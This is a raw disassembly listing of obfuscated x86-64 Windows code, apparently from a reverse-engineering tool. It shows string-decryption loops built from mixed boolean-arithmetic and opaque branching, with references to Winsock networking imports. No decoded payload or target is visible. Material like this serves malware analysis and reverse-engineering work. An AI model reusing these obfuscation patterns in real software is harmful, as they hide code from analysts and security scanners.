add dil, r9b
add dil, dl
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007c593
lea edx, [r10 + 0x62]
movzx eax, r9b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14007c593
movzx r11d, r10b
lea edx, [r11 - 2]
mov ecx, 7
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
sub r11b, 0x62
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x52
add r9b, r11b
mov byte [rbp + r10 + 0x4f0], r9b
inc r8
dec r10
inc r10
jmp 0x14007c593
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14007c593
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
dec r10
inc r10
jmp 0x14007c593
lea rcx, [r10 + r12]
movzx r9d, r11b
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
lea edx, [r10 + 0x66]
movzx eax, r9b
and al, dl
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x4f0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x4f0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x4f0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007c593
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, 0x33
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x4f0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007c593
add r10b, 0x7a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x56
jmp 0x14007c590
add r10b, 0x16
movzx eax, r9b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007c574
lea rcx, [rbp + 0x14af088]
jmp 0x14007cf66
lea rcx, [rbp + 0x167483a]
jmp 0x14007cf66
lea rcx, [rbp + 0x4f0]
lea rdx, [0x1401dc6b4]
call fcn.1400393c0
mov byte [rbp + 0x520], 0xf1
mov byte [rbp + 0x521], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x522], 0x9b
mov byte [rbp + 0x523], 0x99
mov byte [rbp + 0x524], __WSAFDIsSet
mov byte [rbp + 0x525], 0x9a
mov byte [rbp + 0x526], 0xdc
mov byte [rbp + 0x527], 0xf4
mov byte [rbp + 0x528], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x529], 0xaf
mov byte [rbp + 0x52a], 0xb1
mov byte [rbp + 0x52b], 0xb1
mov byte [rbp + 0x52c], 0xa5
mov byte [rbp + 0x52d], 0xe5
mov byte [rbp + 0x52e], 0xc0
mov byte [rbp + 0x52f], 0xb6
mov byte [rbp + 0x530], 0xbf
mov byte [rbp + 0x531], 0xa7
mov byte [rbp + 0x532], 0xaf
mov byte [rbp + 0x533], 0xaf
mov byte [rbp + 0x534], 0xa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x535], xmm0
mov dword [rbp + 0x545], eax
mov byte [rbp + 0x549], al
movabs rsi, 0x4c779ec969d781d7
movabs r15, 0x17455781e4e48ce1
movabs r14, 0xe566dc5c3d868585
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x2a
jae 0x14007dbbd
movzx r9d, byte [rbp + r10 + 0x520]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007dbb4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007d09c
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x1f
jmp 0x14007d0d6
je 0x14007db46
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007dabb
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007da63
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007da42
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007d9fb
cmp r8, r10
ja 0x14007dbab
lea rcx, [r8 + 6]
cmp rbx, rcx
jae 0x14007d100
lea ecx, [r10 - 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x75
jmp 0x14007d150
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007d9df
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007d9bb
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007d99a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007d97f
cmp rbx, rcx
je 0x14007d965
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007d938
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007d6ba
nop dword [rax]
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007d697
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007d673
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007d652
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007d62f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007d610
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007d5f5
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007d5da
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007d5bb
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007d58a
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007d160
lea rbx, [r8 + 8]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007db8e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007db71
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007d34a
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007d32f
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007d314
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14007d541
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007d4f9
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14007d4bb
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007d495
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007d160
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14007d464
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007d449
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007d42e
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14007d40f
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007d3f0
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14007d3d1
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007d3b0
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14007d388
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14007d365
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14007d160
lea rbx, [r8 + 0x20]
lea r8, [rbx + 9]
jmp 0x14007d160
lea ecx, [r10 - 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2b
jmp 0x14007d150
lea ecx, [r10 + 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x69
jmp 0x14007d0d6
lea ecx, [r10 + 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x59
jmp 0x14007d066
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007da15
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14007d053
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
dec r10
inc r10
jmp 0x14007d053
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x62
movzx r11d, r10b
jmp 0x14007da7d
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007da9f
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007daa2
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x14007dad4
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x14007daff
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x520]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d053
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x33
mov byte [rbp + r10 + 0x520], dil
inc r10
jmp 0x14007d053
lea ecx, [r10 - 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x71
cmp r8, 0xa
jb 0x14007d4ab
movzx r11d, r10b
lea ecx, [r11 - 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x4c]
jmp 0x14007da15
lea ecx, [r10 + 0x19]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x51
cmp rbx, 0x41
jae 0x14007d8f7
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14007d83f
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
jmp 0x14007d4d1
lea ecx, [r10 + 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x13
lea rax, [r8 + rbx]
cmp rax, 0x61
je 0x14007d922
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x14007d747
lea ecx, [r10 + 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x63
jmp 0x14007d50f
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x520]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d053
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007daff
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
jmp 0x14007dad4
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x14007daa2
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007da9f
movzx r11d, r10b
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007da7d
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
dec r10
inc r10
jmp 0x14007d053
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
inc r8
dec r10
inc r10
jmp 0x14007d053
movzx r11d, r10b
lea edx, [r11 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007da15
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14007d6e1
lea ecx, [r10 - 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1f
jmp 0x14007d557
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d71b
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x520]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d053
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007d557
lea edx, [r10 - 2]
movzx eax, dl
and al, r9b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007da9f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d76f
movzx r11d, r10b
lea ecx, [r11 - 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5f
jmp 0x14007da15
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007d799
lea ecx, [r10 + 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1d
dec r10
inc r10
jmp 0x14007d053
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007d7bd
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
jmp 0x14007da9f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007d7e1
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x29
jmp 0x14007daa2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007d805
lea ecx, [r10 - 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x15
jmp 0x14007dad4
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007d50f
lea ecx, [r10 + 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6f
movzx eax, byte [rbp + r10 + 0x520]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d053
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d879
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x520]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d053
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007d89d
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
jmp 0x14007dad4
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007d8c9
movzx r11d, r10b
lea edx, [r11 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007da7d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007d4d1
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
dec r10
inc r10
jmp 0x14007d053
movzx r11d, r10b
lea edx, [r11 + 0x58]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x520]
sub dil, al
sub dil, 0x68
add dil, dl
add dil, r9b
jmp 0x14007da7d
lea ecx, [r10 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x2a]
jmp 0x14007dad4
lea ecx, [r10 - 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x47
movzx eax, byte [rbp + r10 + 0x520]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d053
lea ecx, [r10 - 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
dec dil
jmp 0x14007daa2
lea ecx, [r10 + 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3f
jmp 0x14007da9f
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
dec r10
inc r10
jmp 0x14007d053
lea ecx, [r10 - 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 7
inc r8
dec r10
inc r10
jmp 0x14007d053
movzx r11d, r10b
lea ecx, [r11 + 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x37
jmp 0x14007da15
movzx r11d, r10b
lea ecx, [r11 - 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4d
sub r11b, 0x7f
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x79
add r9b, r11b
mov byte [rbp + r10 + 0x520], r9b
inc r8
dec r10
inc r10
jmp 0x14007d053
lea ecx, [r10 - 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2f
dec r10
inc r10
jmp 0x14007d053
movzx r11d, r10b
lea ecx, [r11 - 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6d
add r11b, 0x2f
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x49
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x520], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007d053
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x27
lea edx, [r10 - 0x23]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0xb
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x520], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x520], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x520]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d053
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x5d
movzx eax, byte [rbp + r10 + 0x520]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d053
sub r10b, 0x4d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x1b
jmp 0x14007d050
add r10b, 5
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x23
jmp 0x14007d040
lea rcx, [rbp + 0x14b4194]
jmp 0x14007dbc4
lea rcx, [rbp + 0xa2c36b]
jmp 0x14007dbc4
lea rcx, [rbp + 0x520]
lea rdx, [0x1401de735]
call fcn.1400393c0
mov byte [rbp + 0x400], WSAStartup
mov byte [rbp + 0x401], reloc.WS2_32.dll_socket
mov byte [rbp + 0x402], 3
mov byte [rbp + 0x403], reloc.WS2_32.dll_listen
mov byte [rbp + 0x404], 6
mov byte [rbp + 0x405], 2
mov byte [rbp + 0x406], 0x48
mov byte [rbp + 0x407], WSAGetLastError
mov byte [rbp + 0x408], 0x18
mov byte [rbp + 0x409], 0x1c
mov byte [rbp + 0x40a], 0x19
mov byte [rbp + 0x40b], 6
mov byte [rbp + 0x40c], 0x1a
mov byte [rbp + 0x40d], socket
mov byte [rbp + 0x40e], 0x1f
mov byte [rbp + 0x40f], 1
mov byte [rbp + 0x410], 0xb6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x411], xmm0
mov dword [rbp + 0x421], eax
mov byte [rbp + 0x425], al
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x26
jae 0x14007e8b8
movzx r9d, byte [rbp + r10 + 0x400]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007e8af
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007dccf
lea rcx, [r10 + 0xdf45]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x1d
jmp 0x14007dd10
je 0x14007e83e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007e7b0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007e77d
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007e739
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007e717
nop dword [rax]
cmp r8, r10
ja 0x14007e8a6
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14007dd41
lea edx, [r10 - 0x57]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x61
add dil, dl
jmp 0x14007dd80
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007e6cc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007e6ac
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007e68d
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007e65f
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007e30e
nop dword [rax]
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007e2ee
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007e2c9
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007e2a7
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007e287
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007e268
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007e24c
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007e22d
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007e20e
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007e1dd
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14007dd90
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 4]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007e889
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007e86c
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007df85
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007df66
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007df47
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007e18c
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007e13f
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007e0fb
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007e0d4
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14007dd90
lea rbx, [r8 + 0x400]
lea r8, [rbx + 1]
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14007e0a3
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14007e084
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007e065
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14007e049
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007e02a
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14007e00a
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14007dfe8
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14007dfc3
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007dfa3
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14007dd90
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x41]
jmp 0x14007dd90
lea edx, [r10 + 0x77]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x41
add dil, dl
jmp 0x14007dd80
lea edx, [r10 - 0x13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7b
add dil, dl
jmp 0x14007dd10
lea edx, [r10 + 0x63]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dl, 0x4b
add dil, dl
jmp 0x14007dc96
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x14007e6e7
lea ecx, [r10 - 0x42]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x32
inc r8
dec r10
inc r10
jmp 0x14007dc83
lea ecx, [r10 + 0x34]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6c
dec r10
inc r10
jmp 0x14007dc83
lea edx, [r10 - 0x56]
movzx eax, r9b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x14007e754
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007e794
lea ecx, [r10 - 0x6a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1a
jmp 0x14007e797
lea edx, [r10 + 0xc]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x54
add dil, dl
jmp 0x14007e7cc
lea edx, [r10 - 0x7e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007e7f7
lea edx, [r10 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x400]
add rax, r8
add r10, rax
inc r10
jmp 0x14007dc83
lea ecx, [r10 - 0x61]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x59
mov byte [rbp + r10 + 0x400], dil
inc r10
jmp 0x14007dc83
lea edx, [r10 + 0x15]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x6d
add dil, dl
cmp r8, 9
jb 0x14007e0eb
movzx r11d, r10b
lea edx, [r11 + 0x7e]
movzx eax, r9b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14007e6ea
lea edx, [r10 - 0x75]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x33
add dil, dl
cmp rbx, 0x20
jae 0x14007e60d
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14007e500
lea edx, [r10 + 0x1a]
movzx eax, r9b
and al, dl
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007e112
lea edx, [r10 + 1]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 7
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x14007e638
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x14007e435
lea edx, [r10 + 0x71]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x17
jmp 0x14007e156
lea edx, [r10 - 0xa]
movzx eax, r9b
and al, dl
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x400]
add rax, r8
add r10, rax
inc r10
jmp 0x14007dc83
lea edx, [r10 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
